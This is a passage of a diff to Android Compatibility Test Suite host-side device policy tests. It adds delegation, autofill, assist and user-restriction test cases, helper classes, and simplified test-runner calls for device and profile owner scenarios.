-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PreManagedProfileTest", testName,
-                userId));
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PreManagedProfileTest", testName, userId);
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHelper.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHelper.java
new file mode 100644
index 0000000..4955c42
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHelper.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.devicepolicy;
+
+public class DeviceAdminHelper {
+
+    private static final String ADMIN_RECEIVER_TEST_CLASS = "BaseDeviceAdminTest$AdminReceiver";
+
+    private static final String UNPROTECTED_ADMIN_RECEIVER_TEST_CLASS =
+            "DeviceAdminReceiverWithNoProtection";
+
+    /** returns "com.android.cts.deviceadmin" */
+    static String getDeviceAdminJavaPackage() {
+        return "com.android.cts.deviceadmin";
+    }
+
+    /** e.g. CtsDeviceAdminApp24.apk */
+    static String getDeviceAdminApkFileName(int targetApiVersion) {
+        return "CtsDeviceAdminApp" + targetApiVersion + ".apk";
+    }
+
+    /** e.g. "com.android.cts.deviceadmin24" */
+    static String getDeviceAdminApkPackage(int targetApiVersion) {
+        return getDeviceAdminJavaPackage() + targetApiVersion;
+    }
+
+    /**
+     * e.g.
+     * "com.android.cts.deviceadmin24/com.android.cts.deviceadmin.BaseDeviceAdminTest$AdminReceiver"
+     */
+    static String getAdminReceiverComponent(int targetApiVersion) {
+        return getDeviceAdminApkPackage(targetApiVersion) + "/" + getDeviceAdminJavaPackage() + "."
+                + ADMIN_RECEIVER_TEST_CLASS;
+    }
+
+    /**
+     * e.g.
+     * "com.android.cts.deviceadmin24/com.android.cts.deviceadmin.DeviceAdminReceiverWithNoProtection"
+     */
+     static String getUnprotectedAdminReceiverComponent(int targetApiVersion) {
+        return getDeviceAdminApkPackage(targetApiVersion) + "/" + getDeviceAdminJavaPackage()
+                + "." + UNPROTECTED_ADMIN_RECEIVER_TEST_CLASS;
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi23.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi23.java
index 862a933..3a74953 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi23.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi23.java
@@ -36,8 +36,7 @@
         try {
             setDeviceAdmin(getUnprotectedAdminReceiverComponent(), mUserId);
         } finally {
-            assertTrue("Failed to remove device admin", runTests(
-                    getDeviceAdminApkPackage(), "ClearDeviceAdminWithNoProtectionTest"));
+            runTests(getDeviceAdminApkPackage(), "ClearDeviceAdminWithNoProtectionTest");
         }
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceDeviceOwnerTest.java
new file mode 100644
index 0000000..a33c0ef
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceDeviceOwnerTest.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.devicepolicy;
+
+public class DeviceAdminServiceDeviceOwnerTest extends BaseDeviceAdminServiceTest {
+    @Override
+    protected int getUserId() {
+        return USER_OWNER;
+    }
+
+    @Override
+    protected boolean isTestEnabled() {
+        return mHasFeature;
+    }
+
+    @Override
+    protected void setAsOwnerOrFail(String component) throws Exception {
+        setDeviceOwnerOrFail(component, getUserId());
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceProfileOwnerTest.java
new file mode 100644
index 0000000..a773737
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceProfileOwnerTest.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.devicepolicy;
+
+public class DeviceAdminServiceProfileOwnerTest extends BaseDeviceAdminServiceTest {
+
+    private int mUserId;
+
+    @Override
+    protected int getUserId() {
+        return mUserId;
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        if (isTestEnabled()) {
+            mUserId = createUser();
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+    }
+
+    @Override
+    protected boolean isTestEnabled() {
+        return mHasFeature && mSupportsMultiUser;
+    }
+
+    @Override
+    protected void setAsOwnerOrFail(String component) throws Exception {
+        setProfileOwnerOrFail(component, getUserId());
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 7427570..865d785 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -16,13 +16,17 @@
 
 package com.android.cts.devicepolicy;
 
-import com.android.cts.migration.MigrationHelper;
-import com.android.ddmlib.Log.LogLevel;
+import android.platform.test.annotations.RequiresDevice;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil.CLog;
 
 import java.io.File;
 import java.io.FileNotFoundException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
 
 /**
  * Set of tests for use cases that apply to profile and device owner.
@@ -51,10 +55,6 @@
     private static final String SIMPLE_PRE_M_APP_PKG = "com.android.cts.launcherapps.simplepremapp";
     private static final String SIMPLE_PRE_M_APP_APK = "CtsSimplePreMApp.apk";
 
-    private static final String APP_RESTRICTIONS_MANAGING_APP_PKG
-            = "com.android.cts.apprestrictions.managingapp";
-    private static final String APP_RESTRICTIONS_MANAGING_APP_APK
-            = "CtsAppRestrictionsManagingApp.apk";
     private static final String APP_RESTRICTIONS_TARGET_APP_PKG
             = "com.android.cts.apprestrictions.targetapp";
     private static final String APP_RESTRICTIONS_TARGET_APP_APK = "CtsAppRestrictionsTargetApp.apk";
@@ -62,6 +62,12 @@
     private static final String CERT_INSTALLER_PKG = "com.android.cts.certinstaller";
     private static final String CERT_INSTALLER_APK = "CtsCertInstallerApp.apk";
 
+    private static final String DELEGATE_APP_PKG = "com.android.cts.delegate";
+    private static final String DELEGATE_APP_APK = "CtsDelegateApp.apk";
+    private static final String DELEGATION_CERT_INSTALL = "delegation-cert-install";
+    private static final String DELEGATION_APP_RESTRICTIONS = "delegation-app-restrictions";
+    private static final String DELEGATION_BLOCK_UNINSTALL = "delegation-block-uninstall";
+
     private static final String TEST_APP_APK = "CtsSimpleApp.apk";
     private static final String TEST_APP_PKG = "com.android.cts.launcherapps.simpleapp";
     private static final String TEST_APP_LOCATION = "/data/local/tmp/";
@@ -76,18 +82,29 @@
     private static final String VPN_APP_PKG = "com.android.cts.vpnfirewall";
     private static final String VPN_APP_APK = "CtsVpnFirewallApp.apk";
 
-    private static final String COMMAND_ADD_USER_RESTRICTION = "add-restriction";
-    private static final String COMMAND_CLEAR_USER_RESTRICTION = "clear-restriction";
     private static final String COMMAND_BLOCK_ACCOUNT_TYPE = "block-accounttype";
     private static final String COMMAND_UNBLOCK_ACCOUNT_TYPE = "unblock-accounttype";
 
     private static final String DISALLOW_MODIFY_ACCOUNTS = "no_modify_accounts";
+    private static final String DISALLOW_REMOVE_USER = "no_remove_user";
     private static final String ACCOUNT_TYPE
             = "com.android.cts.devicepolicy.accountmanagement.account.type";
 
     private static final String CUSTOMIZATION_APP_PKG = "com.android.cts.customizationapp";
     private static final String CUSTOMIZATION_APP_APK = "CtsCustomizationApp.apk";
 
+    private static final String AUTOFILL_APP_PKG = "com.android.cts.devicepolicy.autofillapp";
+    private static final String AUTOFILL_APP_APK = "CtsDevicePolicyAutofillApp.apk";
+
+    protected static final String ASSIST_APP_PKG = "com.android.cts.devicepolicy.assistapp";
+    protected static final String ASSIST_APP_APK = "CtsDevicePolicyAssistApp.apk";
+
+    private static final String ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES
+            = "enabled_notification_policy_access_packages";
+
+    protected static final String ASSIST_INTERACTION_SERVICE =
+            ASSIST_APP_PKG + "/.MyInteractionService";
+
     // ID of the user all tests are run as. For device owner this will be the primary user, for
     // profile owner it is the user id of the created profile.
     protected int mUserId;
@@ -98,14 +115,15 @@
             getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
             getDevice().uninstallPackage(PERMISSIONS_APP_PKG);
             getDevice().uninstallPackage(SIMPLE_PRE_M_APP_PKG);
-            getDevice().uninstallPackage(APP_RESTRICTIONS_MANAGING_APP_PKG);
             getDevice().uninstallPackage(APP_RESTRICTIONS_TARGET_APP_PKG);
             getDevice().uninstallPackage(CERT_INSTALLER_PKG);
+            getDevice().uninstallPackage(DELEGATE_APP_PKG);
             getDevice().uninstallPackage(ACCOUNT_MANAGEMENT_PKG);
             getDevice().uninstallPackage(VPN_APP_PKG);
             getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
             getDevice().uninstallPackage(INTENT_SENDER_PKG);
             getDevice().uninstallPackage(CUSTOMIZATION_APP_PKG);
+            getDevice().uninstallPackage(AUTOFILL_APP_APK);
             getDevice().uninstallPackage(TEST_APP_PKG);
 
             // Press the HOME key to close any alart dialog that may be shown.
@@ -114,11 +132,11 @@
         super.tearDown();
     }
 
-    public void testResetPassword() throws Exception {
+    public void testCaCertManagement() throws Exception {
         if (!mHasFeature) {
             return;
         }
-        executeDeviceTestClass(".ResetPasswordTest");
+        executeDeviceTestClass(".CaCertManagementTest");
     }
 
     public void testApplicationRestrictions() throws Exception {
@@ -126,18 +144,19 @@
             return;
         }
 
-        installAppAsUser(APP_RESTRICTIONS_MANAGING_APP_APK, mUserId);
+        installAppAsUser(DELEGATE_APP_APK, mUserId);
         installAppAsUser(APP_RESTRICTIONS_TARGET_APP_APK, mUserId);
 
         try {
             // Only the DPC can manage app restrictions by default.
             executeDeviceTestClass(".ApplicationRestrictionsTest");
-            executeAppRestrictionsManagingPackageTest("testCannotManageAppRestrictions");
+            executeAppRestrictionsManagingPackageTest("testCannotAccessApis");
 
-            // Letting the APP_RESTRICTIONS_MANAGING_APP_PKG manage app restrictions too.
-            changeApplicationRestrictionsManagingPackage(APP_RESTRICTIONS_MANAGING_APP_PKG);
-            executeAppRestrictionsManagingPackageTest("testCanManageAppRestrictions");
-            executeAppRestrictionsManagingPackageTest("testSettingComponentNameThrowsException");
+            // Letting the DELEGATE_APP_PKG manage app restrictions too.
+            changeApplicationRestrictionsManagingPackage(DELEGATE_APP_PKG);
+            executeAppRestrictionsManagingPackageTest("testCanAccessApis");
+            runDeviceTestsAsUser(DELEGATE_APP_PKG, ".GeneralDelegateTest",
+                    "testSettingAdminComponentNameThrowsException", mUserId);
 
             // The DPC should still be able to manage app restrictions normally.
             executeDeviceTestClass(".ApplicationRestrictionsTest");
@@ -145,16 +164,15 @@
             // The app shouldn't be able to manage app restrictions for other users.
             int parentUserId = getPrimaryUser();
             if (parentUserId != mUserId) {
-                installAppAsUser(APP_RESTRICTIONS_MANAGING_APP_APK, parentUserId);
+                installAppAsUser(DELEGATE_APP_APK, parentUserId);
                 installAppAsUser(APP_RESTRICTIONS_TARGET_APP_APK, parentUserId);
-                assertTrue(runDeviceTestsAsUser(
-                        APP_RESTRICTIONS_MANAGING_APP_PKG, ".ApplicationRestrictionsManagerTest",
-                        "testCannotManageAppRestrictions", parentUserId));
+                runDeviceTestsAsUser(DELEGATE_APP_PKG, ".AppRestrictionsDelegateTest",
+                        "testCannotAccessApis", parentUserId);
             }
 
-            // Revoking the permission for APP_RESTRICTIONS_MANAGING_APP_PKG to manage restrictions.
+            // Revoking the permission for DELEGAYE_APP_PKG to manage restrictions.
             changeApplicationRestrictionsManagingPackage(null);
-            executeAppRestrictionsManagingPackageTest("testCannotManageAppRestrictions");
+            executeAppRestrictionsManagingPackageTest("testCannotAccessApis");
 
             // The DPC should still be able to manage app restrictions normally.
             executeDeviceTestClass(".ApplicationRestrictionsTest");
@@ -163,6 +181,52 @@
         }
     }
 
+    public void testDelegation() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        final String delegationTests[] = {
+            ".AppRestrictionsDelegateTest",
+            ".CertInstallDelegateTest",
+            ".BlockUninstallDelegateTest"
+        };
+
+        // Set a device lockscreen password (precondition for installing private key pairs).
+        changeUserCredential("1234", null, mPrimaryUserId);
+
+        // Install relevant apps.
+        installAppAsUser(DELEGATE_APP_APK, mUserId);
+        installAppAsUser(TEST_APP_APK, mUserId);
+        installAppAsUser(APP_RESTRICTIONS_TARGET_APP_APK, mUserId);
+
+        try {
+            // APIs are not accessible by default.
+            executeDelegationTests(delegationTests, false /* negative result */);
+
+            // Granting the appropriate delegation scopes makes APIs accessible.
+            setDelegatedScopes(DELEGATE_APP_PKG, Arrays.asList(
+                    DELEGATION_APP_RESTRICTIONS,
+                    DELEGATION_CERT_INSTALL,
+                    DELEGATION_BLOCK_UNINSTALL));
+            runDeviceTestsAsUser(DELEGATE_APP_PKG, ".GeneralDelegateTest", mUserId);
+            executeDelegationTests(delegationTests, true /* positive result */);
+
+            // APIs are not accessible after revoking delegations.
+            setDelegatedScopes(DELEGATE_APP_PKG, null);
+            executeDelegationTests(delegationTests, false /* negative result */);
+
+            // Additional delegation tests.
+            executeDeviceTestClass(".DelegationTest");
+
+        } finally {
+            // Clear lockscreen password previously set for installing private key pairs (DO only).
+            changeUserCredential(null, "1234", mPrimaryUserId);
+            // Remove any remaining delegations.
+            setDelegatedScopes(DELEGATE_APP_PKG, null);
+        }
+    }
+
     public void testPermissionGrant() throws Exception {
         if (!mHasFeature) {
             return;
@@ -171,6 +235,15 @@
         executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantState");
     }
 
+    /**
+     * Require a device for tests that use the network stack. Headless Androids running in
+     * data centres might need their network rules un-tampered-with in order to keep the ADB / VNC
+     * connection alive.
+     *
+     * This is only a problem on device owner / profile owner running on USER_SYSTEM, because
+     * network rules for this user will affect UID 0.
+     */
+    @RequiresDevice
     public void testAlwaysOnVpn() throws Exception {
         if (!mHasFeature) {
             return;
@@ -179,6 +252,7 @@
         executeDeviceTestClass(".AlwaysOnVpnTest");
     }
 
+    @RequiresDevice
     public void testAlwaysOnVpnLockDown() throws Exception {
         if (!mHasFeature) {
             return;
@@ -194,6 +268,7 @@
         }
     }
 
+    @RequiresDevice
     public void testAlwaysOnVpnPackageUninstalled() throws Exception {
         if (!mHasFeature) {
             return;
@@ -295,11 +370,25 @@
         }
     }
 
+    public void testScreenCaptureDisabled_assist() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        try {
+            // Install and enable assistant, notice that profile can't have assistant.
+            installAppAsUser(ASSIST_APP_APK, mPrimaryUserId);
+            setVoiceInteractionService(ASSIST_INTERACTION_SERVICE);
+            setScreenCaptureDisabled_assist(mUserId, true /* disabled */);
+        } finally {
+            setScreenCaptureDisabled_assist(mUserId, false /* disabled */);
+            clearVoiceInteractionService();
+        }
+    }
+
     public void testSupportMessage() throws Exception {
         if (!mHasFeature) {
             return;
         }
-        installAppAsUser(APP_RESTRICTIONS_MANAGING_APP_APK, mUserId);
         executeDeviceTestClass(".SupportMessageTest");
     }
 
@@ -327,13 +416,11 @@
 
         installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
         try {
-            changeUserRestrictionForUser(DISALLOW_MODIFY_ACCOUNTS, COMMAND_ADD_USER_RESTRICTION,
-                    mUserId);
+            changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, true, mUserId);
             executeAccountTest("testAddAccount_blocked");
         } finally {
             // Ensure we clear the user restriction
-            changeUserRestrictionForUser(DISALLOW_MODIFY_ACCOUNTS, COMMAND_CLEAR_USER_RESTRICTION,
-                    mUserId);
+            changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, false, mUserId);
         }
         executeAccountTest("testAddAccount_allowed");
     }
@@ -345,13 +432,11 @@
 
         installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
         try {
-            changeUserRestrictionForUser(DISALLOW_MODIFY_ACCOUNTS, COMMAND_ADD_USER_RESTRICTION,
-                    mUserId);
+            changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, true, mUserId);
             executeAccountTest("testRemoveAccount_blocked");
         } finally {
             // Ensure we clear the user restriction
-            changeUserRestrictionForUser(DISALLOW_MODIFY_ACCOUNTS, COMMAND_CLEAR_USER_RESTRICTION,
-                    mUserId);
+            changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, false, mUserId);
         }
         executeAccountTest("testRemoveAccount_allowed");
     }
@@ -400,15 +485,13 @@
         try {
             // Set a non-empty device lockscreen password, which is a precondition for installing
             // private key pairs.
-            assertTrue("Set lockscreen password failed", runDeviceTestsAsUser(DEVICE_ADMIN_PKG,
-                    ".ResetPasswordHelper", "testSetPassword", mUserId));
-            assertTrue("DelegatedCertInstaller failed", runDeviceTestsAsUser(DEVICE_ADMIN_PKG,
-                    ".DelegatedCertInstallerTest", mUserId));
+            changeUserCredential("1234", null, mUserId);
+
+            runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DelegatedCertInstallerTest", mUserId);
         } finally {
             if (!isManagedProfile) {
                 // Skip managed profile as dpm doesn't allow clear password
-                assertTrue("Clear lockscreen password failed", runDeviceTestsAsUser(DEVICE_ADMIN_PKG,
-                        ".ResetPasswordHelper", "testClearPassword", mUserId));
+                changeUserCredential(null, "1234", mUserId);
             }
         }
     }
@@ -424,13 +507,11 @@
 
         installAppAsUser(CUSTOMIZATION_APP_APK, mUserId);
         try {
-            changeUserRestrictionForUser(DISALLOW_SET_WALLPAPER, COMMAND_ADD_USER_RESTRICTION,
-                    mUserId);
-            assertTrue(runDeviceTestsAsUser(CUSTOMIZATION_APP_PKG, ".CustomizationTest",
-                "testSetWallpaper_disallowed", mUserId));
+            changeUserRestrictionOrFail(DISALLOW_SET_WALLPAPER, true, mUserId);
+            runDeviceTestsAsUser(CUSTOMIZATION_APP_PKG, ".CustomizationTest",
+                "testSetWallpaper_disallowed", mUserId);
         } finally {
-            changeUserRestrictionForUser(DISALLOW_SET_WALLPAPER, COMMAND_CLEAR_USER_RESTRICTION,
-                    mUserId);
+            changeUserRestrictionOrFail(DISALLOW_SET_WALLPAPER, false, mUserId);
         }
     }
 
@@ -452,6 +533,16 @@
                 "testDisallowSetUserIcon_allowed");
     }
 
+    public void testDisallowAutofill_allowed() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        installAppAsUser(AUTOFILL_APP_APK, mUserId);
+
+        executeDeviceTestMethod(".AutofillRestrictionsTest",
+                "testDisallowAutofill_allowed");
+    }
+
     public void testPackageInstallUserRestrictions() throws Exception {
         if (!mHasFeature) {
             return;
@@ -462,55 +553,47 @@
         }
         // UserManager.DISALLOW_INSTALL_UNKNOWN_SOURCES
         final String DISALLOW_INSTALL_UNKNOWN_SOURCES = "no_install_unknown_sources";
-        final String UNKNOWN_SOURCES_SETTING = "install_non_market_apps";
         final String PACKAGE_VERIFIER_USER_CONSENT_SETTING = "package_verifier_user_consent";
         final String PACKAGE_VERIFIER_ENABLE_SETTING = "package_verifier_enable";
         final String SECURE_SETTING_CATEGORY = "secure";
         final String GLOBAL_SETTING_CATEGORY = "global";
-        final File apk = MigrationHelper.getTestFile(mCtsBuild, TEST_APP_APK);
-        String unknownSourceSetting = null;
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        final File apk = buildHelper.getTestFile(TEST_APP_APK);
         String packageVerifierEnableSetting = null;
         String packageVerifierUserConsentSetting = null;
         try {
             // Install the test and prepare the test apk.
             installAppAsUser(PACKAGE_INSTALLER_APK, mUserId);
             assertTrue(getDevice().pushFile(apk, TEST_APP_LOCATION + apk.getName()));
+            setInstallPackageAppOps(PACKAGE_INSTALLER_PKG, true, mUserId);
 
             // Add restrictions and test if we can install the apk.
             getDevice().uninstallPackage(TEST_APP_PKG);
-            changeUserRestrictionForUser(DISALLOW_INSTALL_UNKNOWN_SOURCES,
-                    COMMAND_ADD_USER_RESTRICTION, mUserId);
-            assertTrue(runDeviceTestsAsUser(PACKAGE_INSTALLER_PKG, ".ManualPackageInstallTest",
-                    "testManualInstallBlocked", mUserId));
+            changeUserRestrictionOrFail(DISALLOW_INSTALL_UNKNOWN_SOURCES, true, mUserId);
+            runDeviceTestsAsUser(PACKAGE_INSTALLER_PKG, ".ManualPackageInstallTest",
+                    "testManualInstallBlocked", mUserId);
 
             // Clear restrictions and test if we can install the apk.
-            changeUserRestrictionForUser(DISALLOW_INSTALL_UNKNOWN_SOURCES,
-                    COMMAND_CLEAR_USER_RESTRICTION, mUserId);
+            changeUserRestrictionOrFail(DISALLOW_INSTALL_UNKNOWN_SOURCES, false, mUserId);
 
-            // Enable Unknown sources in Settings.
-            unknownSourceSetting =
-                    getSettings(SECURE_SETTING_CATEGORY, UNKNOWN_SOURCES_SETTING, mUserId);
+            // Disable verifier.
             packageVerifierUserConsentSetting = getSettings(SECURE_SETTING_CATEGORY,
                     PACKAGE_VERIFIER_USER_CONSENT_SETTING, mUserId);
             packageVerifierEnableSetting = getSettings(GLOBAL_SETTING_CATEGORY,
                     PACKAGE_VERIFIER_ENABLE_SETTING, mUserId);
 
-            putSettings(SECURE_SETTING_CATEGORY, UNKNOWN_SOURCES_SETTING, "1", mUserId);
             putSettings(SECURE_SETTING_CATEGORY, PACKAGE_VERIFIER_USER_CONSENT_SETTING, "-1",
                     mUserId);
             putSettings(GLOBAL_SETTING_CATEGORY, PACKAGE_VERIFIER_ENABLE_SETTING, "0", mUserId);
             // Skip verifying above setting values as some of them may be overrided.
-            assertTrue(runDeviceTestsAsUser(PACKAGE_INSTALLER_PKG, ".ManualPackageInstallTest",
-                    "testManualInstallSucceeded", mUserId));
+            runDeviceTestsAsUser(PACKAGE_INSTALLER_PKG, ".ManualPackageInstallTest",
+                    "testManualInstallSucceeded", mUserId);
         } finally {
+            setInstallPackageAppOps(PACKAGE_INSTALLER_PKG, false, mUserId);
             String command = "rm " + TEST_APP_LOCATION + apk.getName();
             getDevice().executeShellCommand(command);
             getDevice().uninstallPackage(TEST_APP_PKG);
             getDevice().uninstallPackage(PACKAGE_INSTALLER_PKG);
-            if (unknownSourceSetting != null) {
-                putSettings(SECURE_SETTING_CATEGORY, UNKNOWN_SOURCES_SETTING, unknownSourceSetting,
-                        mUserId);
-            }
             if (packageVerifierEnableSetting != null) {
                 putSettings(GLOBAL_SETTING_CATEGORY, PACKAGE_VERIFIER_ENABLE_SETTING,
                         packageVerifierEnableSetting, mUserId);
@@ -526,7 +609,13 @@
         if (!mHasFeature) {
             return;
         }
-        executeDeviceTestClass(".AudioRestrictionTest");
+        // This package may need to toggle zen mode for this test, so allow it to do so.
+        allowNotificationPolicyAccess(DEVICE_ADMIN_PKG, mUserId);
+        try {
+            executeDeviceTestClass(".AudioRestrictionTest");
+        } finally {
+            disallowNotificationPolicyAccess(DEVICE_ADMIN_PKG, mUserId);
+        }
     }
 
     public void testSuspendPackage() throws Exception {
@@ -554,12 +643,73 @@
         executeDeviceTestClass(".TrustAgentInfoTest");
     }
 
+    public void testCannotRemoveUserIfRestrictionSet() throws Exception {
+        // Outside of the primary user, setting DISALLOW_REMOVE_USER would not work.
+        if (!mHasFeature || !canCreateAdditionalUsers(1) || mUserId != getPrimaryUser()) {
+            return;
+        }
+        final int userId = createUser();
+        try {
+            changeUserRestrictionOrFail(DISALLOW_REMOVE_USER, true, mUserId);
+            assertFalse(getDevice().removeUser(userId));
+        } finally {
+            changeUserRestrictionOrFail(DISALLOW_REMOVE_USER, false, mUserId);
+            assertTrue(getDevice().removeUser(userId));
+        }
+    }
+
+    public void testCannotEnableOrDisableDeviceOwnerOrProfileOwner() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        // Try to disable a component in device owner/ profile owner.
+        String result = disableComponentOrPackage(
+                mUserId, DEVICE_ADMIN_PKG + "/.SetPolicyActivity");
+        assertTrue("Should throw SecurityException",
+                result.contains("java.lang.SecurityException"));
+        // Try to disable the device owner/ profile owner package.
+        result = disableComponentOrPackage(mUserId, DEVICE_ADMIN_PKG);
+        assertTrue("Should throw SecurityException",
+                result.contains("java.lang.SecurityException"));
+        // Try to enable a component in device owner/ profile owner.
+        result = enableComponentOrPackage(
+                mUserId, DEVICE_ADMIN_PKG + "/.SetPolicyActivity");
+        assertTrue("Should throw SecurityException",
+                result.contains("java.lang.SecurityException"));
+        // Try to enable the device owner/ profile owner package.
+        result = enableComponentOrPackage(mUserId, DEVICE_ADMIN_PKG);
+        assertTrue("Should throw SecurityException",
+                result.contains("java.lang.SecurityException"));
+
+    }
+
+    public void testRequiredStrongAuthTimeout() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        executeDeviceTestClass(".RequiredStrongAuthTimeoutTest");
+    }
+
+    public void testCreateAdminSupportIntent() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        executeDeviceTestClass(".PolicyTransparencyTest");
+    }
+
+    public void testResetPasswordWithToken() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        executeDeviceTestMethod(".ResetPasswordWithTokenTest", "testResetPasswordWithToken");
+    }
+
     protected void executeDeviceTestClass(String className) throws Exception {
-        assertTrue(runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, mUserId));
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, mUserId);
     }
 
     protected void executeDeviceTestMethod(String className, String testName) throws Exception {
-        assertTrue(runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, testName, mUserId));
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, testName, mUserId);
     }
 
     private void installAppPermissionAppAsUser()
@@ -568,13 +718,13 @@
     }
 
     private void executeSuspendPackageTestMethod(String testName) throws Exception {
-        assertTrue(runDeviceTestsAsUser(INTENT_SENDER_PKG, ".SuspendPackageTest",
-                testName, mUserId));
+        runDeviceTestsAsUser(INTENT_SENDER_PKG, ".SuspendPackageTest",
+                testName, mUserId);
     }
 
     private void executeAccountTest(String testName) throws DeviceNotAvailableException {
-        assertTrue(runDeviceTestsAsUser(ACCOUNT_MANAGEMENT_PKG, ".AccountManagementTest",
-                testName, mUserId));
+        runDeviceTestsAsUser(ACCOUNT_MANAGEMENT_PKG, ".AccountManagementTest",
+                testName, mUserId);
         // Send a home intent to dismiss an error dialog.
         String command = "am start -a android.intent.action.MAIN"
                 + " -c android.intent.category.HOME";
@@ -582,71 +732,157 @@
     }
 
     private void executeAppRestrictionsManagingPackageTest(String testName) throws Exception {
-        assertTrue(runDeviceTestsAsUser(APP_RESTRICTIONS_MANAGING_APP_PKG,
-                ".ApplicationRestrictionsManagerTest", testName, mUserId));
+        runDeviceTestsAsUser(DELEGATE_APP_PKG,
+                ".AppRestrictionsDelegateTest", testName, mUserId);
     }
 
-    private void changeUserRestrictionForUser(String key, String command, int userId)
+    private void executeDelegationTests(String[] delegationTests, boolean positive)
+            throws Exception {
+        for (String delegationTestClass : delegationTests) {
+            runDeviceTestsAsUser(DELEGATE_APP_PKG, delegationTestClass,
+                positive ? "testCanAccessApis" : "testCannotAccessApis", mUserId);
+        }
+    }
+
+    private void changeUserRestrictionOrFail(String key, boolean value, int userId)
             throws DeviceNotAvailableException {
-        changePolicy(command, "--es extra-restriction-key " + key, userId);
+        changeUserRestrictionOrFail(key, value, userId, DEVICE_ADMIN_PKG);
     }
 
     private void changeAccountManagement(String command, String accountType, int userId)
             throws DeviceNotAvailableException {
-        changePolicy(command, "--es extra-account-type " + accountType, userId);
+        changePolicyOrFail(command, "--es extra-account-type " + accountType, userId);
     }
 
     private void changeApplicationRestrictionsManagingPackage(String packageName)
             throws DeviceNotAvailableException {
